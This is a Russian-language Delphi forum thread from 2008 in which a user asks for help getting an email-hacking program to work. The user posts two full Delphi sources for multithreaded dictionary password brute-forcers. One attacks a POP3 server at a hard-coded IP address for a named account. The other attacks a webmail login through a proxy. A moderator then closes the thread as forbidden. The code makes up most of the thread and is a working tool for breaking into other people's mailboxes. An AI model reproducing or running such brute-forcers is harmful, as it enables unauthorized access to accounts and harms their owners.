Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > Интернет и сети
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 28.02.2008, 12:41
Sanek_ntsk Sanek_ntsk вне форума
Новичок
 
Регистрация: 02.09.2007
Сообщения: 55
Репутация: 10
Восклицание Взлом e-mail

Здрасьте всем!!! На сайте в разделе FAQ я нашёл статью о взламывании почты. Я скопировал текст, поместил нужные компоненты, запускаю, нажимаю кнопку, и ничё не происходит. Пробовал ждать минут десять пока там чё-нить появится - нифига. Помогите пожалста с этой прогой.
Заранее спасибо
  #2  
Старый 28.02.2008, 13:25
Аватар для <<D>>
<<D>> <<D>> вне форума
Активный
 
Регистрация: 06.05.2007
Адрес: ГДЕ ТО В СОЛНЕЧНОЙ СИСТЕМЕ
Сообщения: 207
Репутация: 15
По умолчанию

Ты хоть бы код разместил.
__________________
Кому я должен - всем прощаю!!!!
  #3  
Старый 28.02.2008, 21:31
Аватар для SPYtm
SPYtm SPYtm вне форума
Прохожий
 
Регистрация: 25.12.2007
Адрес: Екатеринбург
Сообщения: 18
Репутация: 10
По умолчанию

В инете дофига примеров брутфорсеров мыла, как одно-, так и многопоточных, учись пользоваться поиском... в тот же delphiworld включены по-моему два примера брутов.
__________________
В.Бендер
  #4  
Старый 01.03.2008, 09:56
Sanek_ntsk Sanek_ntsk вне форума
Новичок
 
Регистрация: 02.09.2007
Сообщения: 55
Репутация: 10
По умолчанию

Вот код первого примера:
Код:
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls, WinSock;
type
  TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
end;

type
  TScan = class(TThread)
    sock2 : TSocket;
    addr:TSockAddrIn;
    WSAData : TWSAData;
  private
    procedure CScan;
  protected
    procedure Execute; override;
end;

var
  Form1: TForm1;
  Sock : array[1..255] of TScan;
  Rez : boolean = false;
  I0 : Integer;
  // Номер текущего пароля
  I : Integer;
  // TStringList с паролями
  PassList : TStringList;


const
  FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
  ProcCount = 10; // кол-во процессов
  POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
  User = 'dndanil';

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  PassList:=TStringList.Create;
end;

// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
  if Rez then
    Rez:=false
  else
  begin
    // Открытие и загрузка файла паролей
    try
      PassList.Clear;
      PassList.LoadFromFile(FilePass);
    except
    end;
    if PassList.Count<=0 then
    begin
      Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
      exit;
    end;
    Form1.Button1.Caption:='Stop';
    Form1.ProgressBar1.Position:=0;
    // Кол-во паролей
    Form1.ProgressBar1.Max:=PassList.Count;
    Application.ProcessMessages;
    I:=0;
    I0:=1;
    Rez:=true;
    // Запустить все процессы
    while true do
    begin
      Sock[I0]:=TScan.Create(false);
      inc(I0); // Подсчитать их кол-во
      //Выйти если больше указанного, или стоп, или подобрали
      if (I0>ProcCount)or(not Rez) then
        break;
    end;
  end;
end;

// Проца инициализации процесса
procedure TScan.Execute;
begin
  try
    // Запуск цикла
    while true do
    begin
      CScan;
      //Выход, если подобрали или закончился словарь
      if (not Rez)or(I>=PassList.Count) then
        break;
    end;
  except
  end;
  dec(I0);
  try
    Terminate;
  except
  end;
  //Если все процессы прерваны -
  if I0<=1 then
  begin
    Form1.Button1.Caption:='Hack it';
    Rez:=false;
    Application.ProcessMessages;
  end;
end;

//Проца сканирования
procedure TScan.CScan;
var
  iaddr, x, I2 : Integer;
  Buf : array [1..255] of Char;

  //Отправка
  procedure sender(str:string);
  var
    I1: integer;
  begin
    for I1:=1 to Length(str) do
      if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
        exit;
  end;

begin
  I2:=I;
  inc(I);
  Form1.ProgressBar1.Position:=I2+1;
  Application.ProcessMessages;
  try
    // Инициализация сокета
    WSAStartUp(257, WSAData);
    sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    if sock2=INVALID_SOCKET then
    begin
      try
        closesocket(sock2);
      except
      end;
      exit;
    end;
    //Адрес сервака
    iaddr := inet_addr(PChar(POP3serv));
    if iaddr <=0 then
    begin
      try
        closesocket(sock2);
      except
      end;
      exit;
    end;
    addr.sin_family := AF_INET;
    // Порт сервака
    addr.sin_port := htons(110);
    addr.sin_addr.S_addr:=iaddr;
    if (connect(sock2, addr, sizeof(addr))) >0 then
    begin
      try
        closesocket(sock2);
      except
      end;
      exit;
    end;
    //Получение при соединении
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]<>'+') then
      exit;
    //"user user"
    sender('user '+User+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]<>'+') then
      exit;
    //"pass password"
    sender('pass '+PassList.Strings[I2]+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    //Если подобралось
    if (x>3)and(buf[1]='+') then
    begin
      Rez:=false;
      Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
      exit;
    end;
    try
      closesocket(sock2);
    except
    end;
  except
  end;
end;

end.

Вот второй пример:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls, WinSock;

type
  TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
end;

// Описание процесса
type
  TScan = class(TThread)
    sock2: TSocket;
    addr: TSockAddrIn;
    WSAData: TWSAData;
  private
    procedure CScan;
  protected
    procedure Execute; override;
end;

var
  Form1: TForm1;
  // Массив процессов
  Sock : array[1..255] of TScan;
  Rez : boolean = false;
  // Кол-во запущенных процессов на данный момент
  I0 : Integer;
  // Номер текущего пароля
  I : Integer;
  // TStringGrid-ы с паролями и с логом
  PassList, DopList1 : TStringList;

const
  FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
  ProcCount = 10; // кол-во процессов
  // Адрес прокси через который будет сканирование.
  // Лучше отпинговать сначала
  HTTPserv = 'proxy.address.net';
  User = 'USER';

implementation

// Для преобразование имени
type
  TaPInAddr = array [0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  PassList:=TStringList.Create;
  DopList1:=TStringList.Create;
end;

// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
var
  J0 : Integer;
begin
  if Rez then
  begin
    Rez:=false;
    for J0:=1 to I0 do
      try
        Sock[J0].Terminate;
      except
      end;
  end
  else
  begin
    // Открытие и загрузка файла паролей
    try
      PassList.Clear;
      PassList.LoadFromFile(FilePass);
    except
    end;
    if PassList.Count<=0 then
    begin
      Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
      exit;
    end;
    Form1.Button1.Caption:='Stop';
    Form1.ProgressBar1.Position:=0;
    // Кол-во паролей
    Form1.ProgressBar1.Max:=PassList.Count;
    Application.ProcessMessages;
    I:=0;
    I0:=1;
    Rez:=true;
    // Запустить все процессы
    while true do
    begin
      Sock[I0]:=TScan.Create(false);
      inc(I0); // Подсчитать их кол-во
      //Выйти если больше указанного, или стоп, или подобрали
      if (I0>ProcCount)or(not Rez) then
        break;
      if I0 mod 100 = 0 then
        DopList1.Text:=IntToStr(I0);
    end;
  end;
end;

// Инициализация процесса
procedure TScan.Execute;
var
  iaddr, x0 : Integer;
  ph : PHostEnt;
  pptr : PaPInAddr;
  InAddr : TInAddr;
begin
  try
    // Инициализация сокета
    WSAStartUp(257, WSAData);
    sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    if sock2=INVALID_SOCKET then
    begin
      try
        closesocket(sock2);
      except
      end;

      try
        Terminate;
      except
      end;
      exit;
    end;
    // Получение адреса
    iaddr := inet_addr(HTTPserv);
    if iaddr <=0 then
    begin
      // Если имя, а не IP
      ph := gethostbyname(HTTPserv);
      if ph = nil then
      begin
        try
          closesocket(sock2);
        except
        end;

        try
          Terminate;
        except
        end;
        exit;
      end;
      pptr := PaPInAddr(ph^.h_addr_list);
      x0 := 0;
      while pptr^[x0] <> nil do
      begin
        InAddr:= pptr^[x0]^;
        inc(x0);
        addr.sin_addr:=inaddr;
        addr.sin_family := AF_INET;
        // Порт прокси - 80, 3128, 80808 и т.п.
        addr.sin_port := htons(80);
        if (connect(sock2, addr, sizeof(addr))) = 0 then
          break
      end;
    end
    else
    begin
      // Если IP
      addr.sin_addr.S_addr:=iaddr;
      addr.sin_family := AF_INET;
      // Порт прокси - 80, 3128, 80808 и т.п.
      addr.sin_port := htons(80);
      addr.sin_family := AF_INET;
      if (connect(sock2, addr, sizeof(addr))) > 0 then
      begin
        try
          closesocket(sock2);
        except
        end;

        try
          Terminate;
        except
        end;
        exit;
      end;
    end;
    // Запуск цикла
    while true do
    begin
      CScan;
      if (not Rez)or(I>=PassList.Count) then
        break;
    end;
  except
  end;
  dec(I0);
  try
    Terminate;
  except
  end;
  // Если отмена, закончился список или подобрали
  if I0<=1 then
  begin
    Form1.Button1.Caption:='Hack it';
    Rez:=false;
    Application.ProcessMessages;
    DopList1.SaveToFile('log.txt');
  end;
end;

// Процедура сканирования
procedure TScan.CScan;
var
  x, I2 : Integer;
  Buf : string;
begin
  I2:=I;
  inc(I);
  Form1.ProgressBar1.Position:=I2+1;
  Application.ProcessMessages;
  try
    // Формирование url
    Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+
PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0';
    // Отправка данных
    send(sock2,Buf[1],length(Buf),0);
    // Получение 300 байт
    setlength(Buf,300);
    x:=recv(sock2,Buf[1],300,0);
    if x<300 then
      exit;
    setlength(Buf,300);
    // Если подобрали
    if pos(Buf,'<!D')<=0 then // ???
    begin
      Rez:=false;
      DopList1.Text:='Pass = '+PassList.Strings[I2];
      Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
      exit;
    end;
  except
  end;
end;

end.
  #5  
Старый 03.03.2008, 05:13
Аватар для Aristarh Dark
Aristarh Dark Aristarh Dark вне форума
Модератор
 
Регистрация: 07.10.2005
Адрес: Москва
Сообщения: 2,906
Версия Delphi: Delphi XE
Репутация: выкл
По умолчанию

Подобные темы запрещены для обсуждения на данном форуме. Тему закрываю.
Закрытая тема


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 12:07.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter